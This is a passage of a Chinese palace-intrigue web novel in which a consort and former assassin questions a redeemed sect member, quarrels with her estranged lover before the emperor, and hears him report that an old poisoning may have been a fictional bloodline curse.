见了她,他饶有兴致挑挑眉毛:“怎么,听说昨日你被那姓顾的气哭了?” 南琼霜懒懒朝吴顺瞄了一眼。李玄白当即会意,挥手叫他下去。 她没好气地落了座:“我也不知他什么毛病。” “究竟是怎么了。”他笑着翻折子,“你并非眼皮子浅的人,他也并非牙尖嘴利之徒,怎么会为了把紫檀琵琶,当着皇上的面,一个怒斥,一个痛哭。” 她不说话,手里执一柄红鲤纨扇,心烦地扇着。 他意味深长地笑问:“当真交恶到了这地步,连在皇上面前,都忍不了?” 她登时知道他在试探什么,借坡下驴,将纨扇劈手砸在桌上:“你也不听听他昨日说的什么话!从无量山上下来,见我就鼻子不是鼻子,眼睛不是眼睛。下山愈久,看我就愈不顺眼,‘放过’二字,可是他亲口说的,如今又来找事!” 李玄白一阵笑。 她倾身过去:“你说他到底发的什么疯?我不过是玩了两日琵琶,没学成,放进了库房罢了——他这也要挑理!当着皇上的面,说要行节俭之风,一字一字跟我说要扣六宫的月银,人话?!” 李玄白端着茶盏啜了一口,被她逗得笑了,呛了两声,以拳头抵着唇。 “许是五年没见你,以为你已死,再见面,乐得不知如何是好了,以为自己什么都不想计较。可是,见你一日日还活着,活的还挺好,复又开始不平。” 她翻了个恶狠狠的白眼。 李玄白笑着理毛笔的毛,“无妨,银子不够从我大明宫支。他欺负你,难道我会容他?” 她等的就是李玄白这句话。 “表兄,求你件事。” 李玄白从黄澄澄的折子堆里抬起头来。 南琼霜坐在对面,带点狡黠,欲言又止,笑吟吟地用食指绕着头发。 她这副居心不良又拿腔作调的模样,李玄白熟悉。 他似笑非笑用毛笔杆敲了敲桌子,往她面中一点:“没好事。” “我想请外头的一个戏班子进宫唱戏。”她两肘支在桌上,十指交叉成一张网,下巴乖巧地往手指上一搁,朝他甜笑,“行不行嘛。” 李玄白含笑瞪她一眼。 “我就知道。你这人——无事不登大明宫。” 李玄白答应得很痛快。 彩庆班没几日就进了宫。 戏班子入宫唱戏,是后宫的大事。女人们被困在红墙绿瓦里终日无所事事,能听几把新鲜嗓子,都是好的,遂齐聚戏楼听戏。 飞仙楼乃是紫禁城中的戏楼,六宫粉黛齐聚一堂,争奇斗艳,台上一曲《桃花扇》,唱的缠绵悱恻。 南琼霜无心听戏,手里剥着花生,目光只往那生角脸上看。 李崖曾说,从前往生门中的一个同僚,赎了身后,正在这彩庆班中演生角,生得白净周正,名唤孙汾。 若是生角,便正是台上这人。 她回身,对侍在身后的清涟远香二人轻道:“等到一曲唱罢,将这生角留下,我有几句话要说。” 两人一齐道:“是。” 忽然殿门吱呀一声推开,一条长腿跨过门槛,一人身着明黄朝服大摇大摆晃进来,不顾众人惊愕目光,兀自在南琼霜身旁站定。 台下众妃嫔一时齐齐起身行礼。 李玄白自如压了压手掌:“都平身吧。” 吴顺殷勤将李玄白往厅堂正中领,正中央的毛琳妍急急起身让座,李玄白却手指往南琼霜身侧一指,“就这儿吧,不必折腾了。” 众人都始料未及。 南琼霜忙琵琶大会那一阵,已同嘉庆帝疏远了,前几日又开罪了顾怀瑾,嘉庆帝当着众人面疾言厉色地斥过她没规矩,这几日来,她已是声势渐消。 后宫中的人惯会见风使舵,见她又有失宠之态,事事短着她,就连听个昆曲,也是毛琳妍在正中,她在远远的边缘。 李玄白看出这态势,心知肚明,没多说什么,只撩摆在她身侧坐下。 她面前很快奉上了最好的瓜果。 她噙着点笑剥葡萄:“你怎么来了?” “下了朝,不想批折子,你这有好玩的,凑凑热闹呗。” 她笑着摇了摇头。 “昆曲,有意思吗?”他翘着脚歪在椅子里,拈着一把樱桃,一颗一颗揪进口中,“吱吱哇哇的,哪里有赛马好玩。改日我带你赛马去。” 南琼霜笑而不答。 飞仙楼毕竟不是大明宫。摄政王可以口无遮拦,她还是谨慎些为好。 “今岁这些樱桃不错。今年的贡品,有些着实有趣。”他拨了拨她的衣袖,“我那来了批新贡的丹药,你要不要瞧瞧?” “丹药?什么丹药?” “朱砂膏。”他掌中掂着一枚红艳艳的樱桃,“有这樱桃这么红。据说服下可以长生。” 南琼霜嗤笑一声:“长生是诅咒。” 李玄白讶异抬起眼:“不识好歹呢,怎么。” 她有些好奇:“什么样的?” 李玄白刚待开口,忽然吴顺走至两人身后恭敬躬身:“摄政王,顾先生求见。” 南琼霜心里咯噔一声,紧着垂了长睫,面上不显。 李玄白果然瞥了眼她的神色,被她若无其事回望过来。 他没瞧出个所以然,手指在桌上敲着,面上不耐:“问他什么事。” “说是,谢贵妃当年的事查出了些许眉目,要同您述告商讨。” 他母妃的事。 李玄白烦躁灌了口茶。 兜了这么大一圈子,不过是要把那常达的妹妹放出冷宫。常达一人他已厌烦至极,后宫里已经有一个毛琳妍,难道还要再多一个常褚秀,领着皇太后的名头,高居他头上? 他道:“人在哪?追到 飞仙楼来了?” 人或许就在楼下,门外。南琼霜一颗心愈发吊起来,缓缓剥着葡萄。 吴顺:“人在大明宫等着呢,等了好久了。” 李玄白:“叫他在外边等着。” 吴顺:“可是先生……” 李玄白冷冷睨了他一眼,一个字也没有。 吴顺登时闭了嘴:“是。” 李玄白思及此事便心浮气躁,余下时辰,连句话都懒得说,靠在椅子里,并非爱听昆曲,无非消磨时间。 南琼霜瞧出他是故意将顾怀瑾晾在外头,不免望了眼窗外。 七月末,正是酷暑。日头炙烤着大地,晒得一切都泛白,宫道上石砖油亮,脚踩上去,隔着鞋底都微微发烫。 他那一身黑衣裳,要他在这种太阳下等着? 她心里说不出是什么滋味,偏过头,心乱如麻。 良久,一场戏终于唱罢,伶人们下了台,嫔妃们散了场。 李玄白再无理由拖下去,撩摆起身,心不甘情不愿地摆驾大明宫。 唯有那孙汾,被清涟远香二人引着,引到飞仙楼下。 南琼霜站在戏楼底下绿荫繁茂的回廊内,听见脚步声,回过身来。 那孙汾立时恭敬行礼:“贱民恭请珍妃娘娘金安。” 飞仙楼因是戏楼,位置远僻,妃嫔们一散场,更加清幽无人。 清涟远香在不远处守着,南琼霜四望一圈,见周遭并无异常,轻声道:“孙兄不必多礼,不知您可否知道定王府内的李崖?李兄与我相熟。” 这话一出,孙汾当时便知她是何意。观她样貌神态,不需她自报名号,也已猜出她隶属哪一堂、哪一司——极乐堂出身的女子,顾盼间自有一番别样风姿,便作揖道:“原是极乐堂内南姑娘,有失远迎。不知您今日在皇城之内……所为何事。” 话说一半,但她晓得,他并非问她此行是何差事,而是问她,为何在皇城之内自报家门。 她笑而不语,略过未答。 她欲问他赎身后的近况,又怕问得直白,在清涟远香二人面前暴露心思,决心用些模棱两可的话诈他:“孙兄机敏,自然知道我今日来,所为何事。” 孙汾一拱手:“孙某赎身已久,门内诸事,恕难奉陪。” 南琼霜一时沉默。 李崖那般热络,她一直疑心其中有诈,以为他是借着赎身之人的身份,编造谎言,替往生门来诓她。 可是,倘若要骗她,这些赎了身的,为何还态度不一? 她硬下嗓音,笑了起来:“这是门内的命令。奉不奉陪,由不得你。” 哪知孙汾又是一拱手:“恕难从命,言尽于此。” 半点不肯退。 南琼霜难以置信地嘶了口气。 若是赎身后受过往生门胁迫,被她这样搬出往生门的名号下令,即便疑心有诈,口气也不该这样硬。 她笑:“怎么,你赎了身,我们门内就使唤不动你了?你有几条命,几颗脑袋?门内辛勤培育你十余年,你赎了身便翻脸不认人,可有半点感恩之心?可知往生门最恨背信弃义之徒,这点人情,你不肯给,便是叛门!” “南姑娘还请莫要这般声色俱厉。孙某早已赎了身,并非门内之人,门主已经签过字,画过押,谈何叛门。” 孙汾客气颔首: “孙某当年毕竟执掌藏刃司,即便姑娘近年来接了极乐堂堂主之位,也犯不着如此同我讲话。若说赎身后照旧为门内卖命,在前任门主手下,尚还可能;可是,自从前些年换了新门主,渊素门主宽怀,此等事情已经不会再有。” 南琼霜越听越惊异,面上强装平静无波,心里却愈发七上八下。 门内换了新门主的事,她是知道的。只是极乐堂隶属外务司,她办差事一向拼命,一年之内没几天在往生门中,并不了解这位新门主。 藏刃司隶属内务司,内务司众人成天到晚驻扎在往生门内,他又是一司之长,有机会常同门主接触,是以口气如此强硬笃定。 “我不知姑娘是抱的什么目的,或奉了谁的命令,来此逼问孙某。但孙某既已赎了身,门内之事便再不会沾染。姑娘若有不快,大可去找渊素门主如实相报。若并无他事,恕孙某告辞了。” 说罢,转身便走。 南琼霜恍然明白,孙汾此人与李崖不同,李崖原是七杀之内一个寻常刺客,一个五大三粗的话多的壮汉,孙汾却是藏刃司之长,为人敏锐机警,也许还同门主有私交,不会三言两语便被她带着走,更不会被人相逼便屈膝服软。 他语气如此坚定,仿佛拿准了往生门不会因他拒绝而追杀他。 莫非赎身一事,当真可行? 她急迈一步,上前将他拦住:“罢。前司长,是我有眼不识泰山。”手上偷偷将几锭银子塞入他手中,她绽开一个极乐堂中人的笑,“多有得罪。但洛京中局势紧张,门内人手不足,不知您可否知道京中还有哪些赎过身的人,可否帮衬一二?” 掌中银子一捏,孙汾轻轻垂了眼。 赎了身,哪里都好,自由亦是真自由,只是银钱当真难赚。 这几锭银子,够他几月的工钱。 他思忖片刻,道,“其实紫禁城中便有一位,您未曾听闻么?” 第156章 “紫禁城之内?” “正是。”孙汾颔首,“如今似乎是宫内一位掌事姑姑,姓李名慎舒。至于具体在哪宫之中侍奉,孙某就不清楚了。” 一 个掌事宫女侍奉在何处,皇城之外的人,自然无法知道得准确。 她笑着答:“多谢您相助。今日多有得罪,还望您万勿挂怀。” 孙汾恭敬行礼:“姑娘一腔为门内尽忠之心,孙某怎会挂怀。天下攘攘,皆求往生。” 南琼霜意味深长地上下打量他一圈。 天下攘攘,皆求往生。 这是往生门内,众人的接头暗号。 一个赎身之人,将事不关己四字奉为圭臬,可是,忽然又念起了门内的暗号。 究竟怎么回事? 孙汾再未多说一个字,最后对她缓缓施礼,低眉告退。 她盯着他那张白净面孔,再怎么想看透,竟也看不明白。 孙汾的身影在茂密的树影尽头消失了。 南琼霜在原地,抱着肩膀斟酌了许久,拿不定主意。 良久,她走出回廊,对守在回廊入口处的清涟远香二人道:“走,去紫宸殿。” 去紫宸殿,是因前些日子刚被嘉庆帝厉声斥过。皇上责骂宠妃,这种事,上午话音刚落,下午阖宫皆知。她前些日子忙于琵琶大会,本已圣宠不稳,若再不补救,只怕就彻底失了势。 现在去,那人刚好在大明宫,不会来紫宸殿误她的事。 她急急在树荫阴凉的回廊之中穿行,清风带起她垂下的袖摆,她一路往紫宸殿直奔。 得快些。倘若那人谈完了事回了紫宸殿,他什么都不做,干干地在那杵着,她一身妩媚手段就难以施展。 到了紫宸殿外,王让弓着身子进去通报,不一会儿,低眉顺眼地出来,替她撩着玛瑙珠帘:“皇上要您里边儿请。” 她小心翼翼提起裙摆,跨过高高的门槛。 紫宸殿内一如既往的凉意沁人。因嘉庆帝有疯症,殿内时时点着安神香。 她甫一缓步自屏风后面行出,抬眼一望,当即心里一紧。 大殿之内,那人背影如一座兀然的焦黑的山,负着手,静静立在紫宸殿的鎏金蟠龙藻井之下。殿墙上一幅千里江山长卷,远远衬在那人前面,江山与人尽是一派水墨颜色,画外人如在画中。 他怎么在这? 他只要在这,她就仿佛鞋底硌了枚石子,痛但不致死,不致死但不得惬意,身不由己地在乎,想不察觉都不得法。 她咬着唇瓣,硬着头皮缓行至他身后,隔着老远就停了下来,朝坐在长案后的嘉庆帝福身:“臣妾恭请皇上圣安。” 顾怀瑾听她的脚步声,早已辨出来者是谁,又听她脚步停在他身后,他连后背都麻了一瞬。 她来了,她在这,很近。 但不能回头看她。 说是一刀两断,可两人情浓时,彼此倒不至于这般在意。一旦断了,她靠近一步,他就忍得受不住。她只要出现,就迫得他患得患失。 他身不由己地滚动着喉结。 “起来吧。”嘉庆帝对她仍是不咸不淡,自顾自玩着一只九连锁,并无多余的话。 “先生这几日怎么入宫这样勤?从前,朕央先生进宫,先生都不肯,如今却左了性子。今日更甚,朕还未起身,便听闻先生在殿外候着了。久眠方能养身,先生何不晏起?” 夜夜煎熬,谈何晏起。 他不是来见他,是来见他的女人。 “今日入宫,是因常太妃一事查出了眉目,欲往大明宫中议论商讨。不想,摄政王下了朝并未回大明宫,说是直奔飞仙楼了。顾某在大明宫外久候不得,便不候了,转而来了紫宸殿,想来瞧瞧皇上。” “摄政王得了通报,已经回了大明宫。先生若要求见摄政王,眼下正合适。”南琼霜蓦地发话。 她的声音,不远不近,顾怀瑾心里颤了一下,蹙着眉头压抑。 想听她说话,想她同他说话,但不想听她用叫怀瑾的嗓子撵他走。 好不容易对他说上一句,竟然是这种话。 他受不了。 他冷声道:“已经去过,他既不见,便不见了。日头这样大,莫非还要顾某三番两次地跑?” 南琼霜:“摄政王的令是叫您在大明宫外候着,您本可以去偏殿暂坐,何须三番两次地跑?” 怎么,他撂了那姓李的一回,她就如此舍不得吗? 这么多日子不见,他心神俱裂,她只知道心疼那个男的。 他一哂:“暂坐?摄政王听曲儿去了,戏要唱多久,顾某如何晓得。摄政王是放纵性子,在飞仙楼内连听三天三夜,也说不准。娘娘是想顾某在他偏殿里坐上三天三夜?” 如此刻薄地贬李玄白,她听笑了:“摄政王何至于听个戏听三天三夜?” 好像他是个无事生非的尖酸之徒,好像他是个嫉妒到神志不清的小人,惹她发笑。 他若无其事地冷笑: “摄政王的性子,阖宫无人不知。只要他痛快,旁的什么都不顾。今岁国用不足,度支告匮,定王封爵,又讨要了巨数的禄米。这些事情,摄政王不是不知,却犹在这关头纵容娘娘任性。这般随心所欲之人,他听上曲子,谁知道要听多久!” 说完,又接着讽:“外头饿殍遍地,宫中歌舞升平,两人同在台下听戏,却是和美异常。又焉知,孔尚任的《桃花扇》,今日是在台上演,他日不会在台下演!” 南琼霜愣愣听着,简直难以置信。 因为琵琶之事给她扣个空虚国库的高帽,还不够,又要因为一个戏班子说她祸国是吗?! 她咬着牙,当着嘉庆帝的面,又不敢同他再甩脸色,笑道: “后宫不得干政,便是德音有错,也是事事得了表兄首肯。”——先对嘉庆帝说,她身后便是摄政王,再对着他冷笑,“先生若有大能,自然有法子应对表兄,又何必处处为难德音。今日彩庆班的戏,表兄下了朝也去听了,莫非先生要说我们表兄妹一同误国?” 顾怀瑾控制不住地捏着指骨,咯吱咯吱,白玉扳指硌在骨上。 她要引戏班子进京,本想求皇上,就因为他在,没有求。转头,去求了李玄白。 那小子就允了。不仅予取予求,两个人还一起看戏。 她冷冷笑了一声:“眼下表兄正在大明宫中候着,先生一腔丹心,何不快去?表兄等着听您高论呢。等到表兄也认了错,德音自然就认。”故意笑吟吟补了一句:“不然,表兄一向纵着德音,表兄不觉德音有错,德音贸然认错,反倒是给先生找麻烦。” 顾怀瑾开始微微打晃。 他纵着你? 到底是谁纵着你。 到底是谁纵着你! 他终于缓缓抬起手扶额,强自平复,头晕目眩。 不过,别再同她吵了。不久前刚刚吵过,她至今对他一点好脸色也无。他哪里有她能捱,到最后,全是自讨苦吃。 她犹自笑吟吟地报仇: “近些日子,先生是愈发怪了。从前,先生见了德音,多一个字也没有。眼下,琵琶也好,戏班子也好,事事都能指摘德音两句。不知先生是否同大明宫起了龃龉?德音有一半是大明宫中人,故而先生——” “一介宫妃,竟斗胆说自己身在大明宫。”他微笑着,直发抖,气从肺腑里呼呼地出,“——用心不忠、寡廉鲜耻!” “大明宫是德音娘家人!谈何廉耻?!” 偌大的紫宸殿,高声相对,声音在藻井的穹窿里幽幽回响。四下里宫女太监齐齐垂首跪下,连嘉庆帝在上头,都听得瞠目怔然。 顾怀瑾是他的救命稻草,南琼霜背靠大明宫。 两人相争,争得几乎撕破脸皮,他实在拿不准偏向哪方。 “先生、德音——!” “再是娘家人,亦该顾忌男女大防!日日往大明宫中去,成何体统!” “不是先生说,要德音常同大明宫走动吗?最好日日走动、夜夜走动,这话岂非先生亲口所说?!” 顾怀瑾胸口匆促起伏,怒得咬牙,那是他负气的话! “先生、德音!”嘉庆帝指节又叩了叩长案。 两人俱是面红耳赤,气喘声嘶,一齐转过头来看他。 相似的怒容,相似的动作,同时间。 嘉庆帝忽然有种感觉——这两人相互怨怼也默契。 “何至于此!先生,何至于此!”嘉庆帝摊手拍桌,明黄广袖从红木长案边缘扫过,“不过一个戏班子,并不费多少银两。既然是摄政王点的头,依朕之见,便别计较了。” “德音得摄政王偏纵,是好事啊。朕得摄政王表妹为妃,大益于兄弟和睦!您此前亦说过,要德音与大明宫多多走动,犯不着为些银两坏了与大明宫的情谊,您说呢?” “皇上。”南琼霜红着眼眶开口,“德音常往大明宫中去,您是否也觉得德音用情不专?” 嘉庆帝手一挥:“朕并非小气多疑之人。” 顾怀瑾疑心他含沙射影。 “皇上都未当德音不忠,不知先生心急个什么!” 南琼霜当真是在含沙射影。 顾怀瑾背过身去,长吸一口气。 忽然,紫宸殿外头一人撩帘进来,弓着身子行到她身侧,原是李玄白身边的吴顺:“娘娘,摄政王得了一些丹药,唤您去大明宫中瞧瞧呢。” 南琼霜抬眼望了一眼嘉庆帝。 嘉庆帝正急欲将这两人分开,见了吴顺,如逢甘霖,挥手:“快 去,快去!” 顾怀瑾一个字也没有,负着手偏开头,连见都不愿见。 ——“皇上都没当我不忠,先生急个什么劲!” 说得好。 都已经说到这地步,她还是爱往那男人身旁凑,那就去,他不拦着。 从此以后,他再也、再也不拦着! 他理理衣摆:“今日顾某失言失礼,心内惶恐,请皇上容臣告退。” 说完,拂袖而去。 南琼霜望着他出尘背影,心里恨得直翻白眼。 总是这样。面上一派高旷,话全冠冕堂皇,当着皇上的面用暗语吵架,用只有她听得懂的话打机锋。又是为国,又是为嘉庆帝,说来说去,还不是为了她与李玄白的那个吻! ——她只气他用官腔报复私仇,不知他这番报仇回去,还要蹂躏她的旧衣。 * 李玄白正在大明宫中闲坐。 今日新贡的朱砂膏刚刚送进宫来,他觉得有意思,折子都摊在一边没批,先打开了盒子瞧来瞧去。 朱砂膏鲜艳赤红,质地柔软,以手指一蘸,指腹俱是印泥般的大红色。 赤色主昌,乃纯阳之色,据说,服下朱砂膏,可延年益寿,坐化金身。 他搓着指腹,半信半疑。 吴顺弓着身轻轻走近:“摄政王,珍妃娘娘来了。” 李玄白手一挥:“叫她进来。” 南琼霜刚自外头日光暑气中掀帘进来,眼睛还未适应殿内的光,便听李玄白在里头叫她:“过来,瞧瞧这个。” “什么?” 走近些,方看清他手上拿着枚小小的圆盒,里头东西是极正的红色,她挑着眉毛嘲:“怎么,表兄爱玩胭脂了。” “什么胭脂,不识好歹的东西。”他抱着肩膀朝她鼻尖一指,她肩膀瑟缩一瞬,见他只是吓唬她,她又弯着眼睛嘻嘻笑,李玄白道,“听说你又同那姓顾的在紫宸殿内吵架?皇上定然是向着那姓顾的,你又给架在那下不了台了吧?将你支到我这大明宫来,还不感激。” 南琼霜听他是打听到消息,特意给她解的围,笑得像只偷着了耗子的猫,举着纨扇遮去一半脸孔,会心地窃笑。 “好啦。什么好东西,这会儿提了两回了。给我瞧瞧。” 遂将那圆盒拿在手里,对着雕窗外的日光照。 有了光,那赤红色的东西,泛出星星点点的金闪。 “道士们说,是以珍奇异宝炼就,泛着金彩,是为金丹。”李玄白道,“整个齐宋,唯有这么一小盒。” 她嗤笑一声:“这么珍贵?但你那手指头一片鲜红,你这一抹……” 吴顺忽然又擦着碎步走至二人身侧,恭敬一行礼: “摄政王,顾先生在外头求见。” 李玄白长长一声嘶气。 南琼霜垂眸望着那小圆盒,一派若无其事,心里七上八下。 一刻钟之前还说要走。 那时,他听说她要来大明宫,不仅忽然松了口,还说要走,她还以为他真要放了。 她指腹擦着小圆盒的边缘摩挲,垂着眼睫,心全在李玄白同吴顺的话上。 “问他什么事。”李玄白叉着腰,神色不耐。 吴顺哈着腰,像只虾:“说是,关涉到常太妃与谢贵妃当年旧事。” 南琼霜静静地等。 他进不来,她自在些。他若进来,她就报复。 整日没事找事,非气死他不可。 李玄白厌烦地长叹一声,终是一摇头,手朝殿外虚虚招了招,“让他进来,让他进来。早晚也得谈。” 吴顺领了命,溜溜小跑着出去了。 南琼霜从纨扇后面朝他假笑,推辞:“你们二人谈事,我不便在场,先回去了。” “你回去什么。”李玄白转身已在长案后落了座,拍着自己身侧位子,示意她来,“人家就是奔着你来的。你走什么?整日同你吵架,给我在这气他。” 南琼霜噗嗤一声笑了出来,再一抬眼,吴顺已经领着人,绕过了殿前玄关的金屏风。 他一派事不关己,高旷冷然,八风不动地往殿内缓行。 南琼霜站在大殿正中,不偏不倚正着跟他打了个照面,隔着纨扇,上下睨他。 他瞧她跟没瞧见似的。 顾怀瑾听见她对李玄白笑的那一声了。 南琼霜见他这般冷漠,亦憋着气敛了神色,提着裙摆,从容自他面前走开,堂而皇之地走去另一个男人身侧,拢裙入座。 两人并肩。长案两侧,一侧坐满,一侧无人,两个人心照不宣地一致对外。 顾怀瑾依旧事不关己。 他从容如常落了座。 “见过摄政王。”未行礼,人已坐下。 李玄白见他如此目中无人,含笑上下端详他一圈,终于没发作,将手上小圆盒丢给南琼霜:“我们两个先谈,你自己瞧瞧,想不想要。” 南琼霜因为他坐在对面,正装着心不在焉,仔细琢磨那小盒子,这时错愕抬起头来:“不是说全齐宋只有一小盒?这么宝贵的东西,给我?” 故意全心去望他,以叫那人半分也误会不得。 “给你又有何不可。莫非你以为我赏不起?”李玄白勾着唇角睨她。 顾怀瑾在对面,总觉得这二人在装腔作势地演戏——平日他们或许也这般,但他在此,这两人就格外夸张些,热络些,以示感情好。 心里霎时更烦了。 吴顺恭敬奉了茶上来,顾怀瑾拈着茶盖啜茶:“顾某今日来,是为常太妃当年之事。” 李玄白眉梢一挑,十指在面前交叉成一座小塔:“你说。” “这些日子,顾某遍查了宫正司卷宗,又查了当年仵作的记载,还去宫外遍寻了当年涉事之人,一一问询审查。一来二去,总算有了些眉目。” 李玄白静静听着,一半心思在身旁的人身上。 她漫不经心研究着那朱砂膏。 “当年宫正司查案,以常太妃在谢贵妃饭食中下了砒霜作结。因有宫女证词,说看见常太妃宫中侍女夜半潜入尚膳局内,在谢贵妃份例的生燕窝中下了粉末。翌日,谢贵妃毒发。” “宫正司藏卷记载,贵妃娘娘‘喉腹剧痛,满地翻滚,吐泻交作’,进而‘面唇青紫、七窍流血、十指黯黑’。仵作以银簪探喉,银簪发黑,遂疑为砒霜。贵妃娘娘种种症状,亦与砒霜致死相类,是以当年以砒霜结了案。” “然而,前些日子,顾某寻得当年验尸的仵作所居之处,前去拜访。一问才知,当年结案匆促草率,以至虽有尚且不明之事,亦草草结了案。” 李玄白:“何事尚且不明?” 顾怀瑾一字一字:“贵妃娘娘死后,齿关发蓝。” 南琼霜倏地抬起长睫。 砒霜绝不会染蓝人的牙齿。 这么些年,她在外办差,林林总总的毒药奇药听过许多,但可能将死人牙齿染蓝的毒物,只听说一种。 李玄白撑腮:“那么,先生以为,何物能叫人死时带着一口蓝牙?” 顾怀瑾:“是江湖上的一种蛊,名唤传脉。” “传脉蛊?” “以血脉相传。施蛊者与受蛊者需是血亲。不仅下蛊要由血亲下,解蛊也需由血亲解。”南琼霜淡声接,手指拨着耳垂底下的翡翠珠子,“先生是告诫表兄,真凶大约在谢氏之内。” 顾怀瑾捧着茶杯:“正是。” 这两人突然一唱一和,莫名其妙,李玄白听了便心烦。 他笑:“那么,当年那么多证人,又都是怎么回事?” 顾怀瑾叹息:“一一问过。时过境迁,有些仍不愿说,但有些已经开了口。开了口的,说当年被人买通。再往下问,就不敢说了。” 南琼霜听着,心下无聊,拿来案尾的核桃和钳子,自顾自夹核桃。 李玄白瞥了她一眼,对顾怀瑾笑道:“先生不是一向善于处置细作?怎么审那些人,便怎么审这些人,何来不肯开口之说?” 顾怀瑾只是含笑。 摄政王同他是多深的交情,他为何要为这姓李的脏了 自己的手? 他巴不得摄政王诸事不宜,早赴黄泉。 他客气颔首:“顾某难堪大任。” 李玄白瞧他那自得神色,便知他是故意不肯出力,冷笑一声。 手上接过了南琼霜的核桃钳。 南琼霜夹核桃正夹得顺利,忽然被李玄白劈手将钳子夺了去,连带着面前盛核桃壳的瓷盘也被他一并撤走,懵头懵脑地上下瞧他。 李玄白殷勤替她将核桃一一夹开,剥出一片一片完整的核桃仁放在掌中,偏还不肯倒在果盘中,非要她以手来接:“给你。瞧你夹得那样子。” 南琼霜晓得他在演什么。 用眼角余光一看,顾怀瑾不动声色地啜着茶,茶杯贴在唇上,望着窗外。 他是有意不往这一侧看。 他不想叫这两人得逞。 她偏要得逞。 她软着声音笑:“谢谢表兄。” 顾怀瑾犹自望着窗外天色,呷着清茶。 她将那核桃仁放进齿间,含恨咬碎,咬到了嘴唇内侧一点嫩肉。 痛得她啧了一声,一个激灵。 顾怀瑾骤然回头一瞬,被绸带缚着的眼窝黑洞洞的,毫无情绪。 只看她半眼。没等真与她对视,就草草偏开了。 她却忽然福至心灵。 试探性的,动了动脚。 脚上有金铃。细微的,米粒大小的,唯有武功大进到他那个境界、才能听清的金铃。 顾怀瑾眼下最怕听见那铃声,他骨头又会酥掉。 他若无其事地灌了口茶。 李玄白将剥出来的核桃仁一片片搁在掌心里,继续道: “那么,那传脉蛊其余的症状,亦与砒霜致死的症状相似?” “正是。传脉蛊以施蛊者的精血饲成,历经七七四十九天……” 她又动了下脚。 顾怀瑾的话倏地断了,断面都齐整。 她从李玄白掌心拣出一片核桃仁来,还带着他皮肤的温热,她笑吟吟地顺口问: “先生怎么了?” 顾怀瑾喉结难耐地滑动一瞬,她笑着将核桃仁咬碎,咔嚓一声。 李玄白被挡在她的游戏之外,不得妙义,但依旧觉得有趣。 他揶揄他:“好好的,你喘什么?” 顾怀瑾忽然觉得这地儿不能待了,再不能久待。 他道:“府中有事,恕难奉陪。”然后惶惶告退。 两人望着顾怀瑾落荒而逃的背影。 李玄白志得意满地将核桃钳往桌上一撂:“瞧瞧,气走了吧。剥个核桃便受不了了。” 南琼霜乐不可支。 第157章 顾怀瑾仓惶起身走了。 南琼霜没想到一颗金铃,就逼得他节节败退、溃不成军,一时心中怒火也消了,带点得意,绕着头发玩。 他那个人,从前多么克己。暮雪院内两人抵着额头躺在一处,他都不肯亲一下。 如今,连她脚踝上的一点铃铛声,竟也听不得了。 她轻哼一声。 李玄白:“这一小盒朱砂膏,你要不要?” 戏台下的观众走了,戏也不必演了,他一边夹着核桃,一边将核桃仁拣进嘴里,嚼得咔擦咔擦响。 她笑意中有点戏谑,“我不要。你同我们这种人说长生?” 李玄白有点意料之外,惊异地睨了她一眼,笑:“你们这群人怎么?” 她将那小圆盒盖好,递过去:“命短啊。” 李玄白万没料到她给他这几个字,更没料到这种话她说得如此轻描淡写,愣住了。 手上钳子停了两刻,半晌,他垂着眼,沉默着,一颗、一颗地夹核桃,再递到她手心里。 她满不在乎地放进齿间咬着。 奢丽非凡的大明宫,龙涎香自金猊香炉中袅袅逸散。 他其实有许多东西想问。 但这些事,既不是无关痛痒的几两月银,更不是聊以消遣的戏班子。倘若他开这个口,便是抽干了潭水挖潭底、拔出了树干瞧树根。要把她所有面纱全部揭下,只怕她不会允。他若问,他们只能到此为止。 这是两人无人提也不必提、不曾约也不必约的规矩。 他说不上是唏嘘、怜悯抑或敬佩,或许都有,只是沉默着夹核桃。 忽然,他嘻嘻一笑:“那亦不错,说不准等到我去黄泉底下,你已在下面混得出人头地。到那时,就是你罩我,而非我罩你。” 南琼霜登时笑得难以自持,手上拎着纨扇敲他肩膀:“你这人……” 李玄白此人,什么都看得开,什么都付之一笑。 他这种荒唐的豁达,真是同她很像。 她不喜欢被人可怜,他这话接的,叫人丈二和尚摸不着头脑,反倒合她心意。 她咯咯笑着拣桌上核桃仁,端架子:“难哪。短命之人,个个健忘。今儿感情好,明儿就忘了。等到你到底下找我,谁知道我还记不记得你?” 李玄白拿食指一下一下点她:“没良心的。” “那可没办法。”她搓着自己圆圆的翡翠耳坠,“命短,健忘是自保。原本就已活不长,难道还抓着过去的人事不放?别说你,便是那帝俊之臣,拿我当广寒仙子,我该忘还是忘。” “诶,诶,敢拿广寒宫宫主自比呢。”李玄白听得直笑,拍拍掌中核桃碎屑,手抱在脑后,“这么说,你真将那男的忘了?” 南琼霜鸦青的长睫停了一瞬,倏地,一双含水眸子笑开,弯如圆月: “自然。” “说忘就忘,轻而易举?” 南琼霜敛裙起身,理着裙摆: “说忘就忘,轻而易举。” 李玄白懒洋洋靠着椅背,好整以暇地仰首端详她。 她起了身欲走,正站在镂花的雕窗前。窗外绿意盎然,大团大团的海棠花在枝上攒动,轰轰烈烈地给她衬景。 她却浑不在意,眉目间一点极冷的艳色,既不装腔,亦不自得。 一派平静,云淡风轻。 她将那小圆盒撇回去:“这东西我不要,你若不相中,赏他人吧。” 他笑了:“你怎知我不相中?” 她已经踏出几步,听了这话,回眸一哂: “少装了。你这人,什么都能忘,什么都能放。不惧生死,不惧人言,只怕乏味。长生,你会觉得有趣?” 李玄白登时笑开,一句话也说不出,前仰后合,只得鼓掌: “好,好,好。有意思。” 她笑着将臂上披帛拢好,抬手朝他摇了摇纨扇,算告别:“今日无事,我先走了。” 出了大明宫,被殿外的日光刺得眼睛晃了一瞬,南琼霜才看见,顾怀瑾仍未走。 两人在大殿外头正正打了个照面。 见了她,他雪一般白的脸上半点情绪也无,一根鸦黑绸带横亘在眉眼之间,忧郁败颓,仿佛一盘倾覆进雪地里,苍凉无人问的棋。 他一句话也没有说。 两人擦肩而过。 那一瞬间,南琼霜忽然有种古怪的感觉。 他要走了。 他的发丝被大殿内的穿堂风吹起,擦过她手臂,痒痒的。 像最后一点微弱的眷恋。 南琼霜不知道自己为什么忽然这样想,只是骤然转身回来望他。 顾怀瑾在幽冷的、哀茫的风里,轻轻说了一句话,被风送来。 他道:“你还真是懂他。” 入夜。 整座菡萏宫都熄了灯,唯有妆台前点了一支明烛,被丝绸罩子罩着,明明灭灭,混混沌沌。 到了入睡的时辰了,清涟远香两个照例替她在面上敷着花膏,她在妆镜前的玫瑰椅上百无聊赖靠着,阖着眼睫。 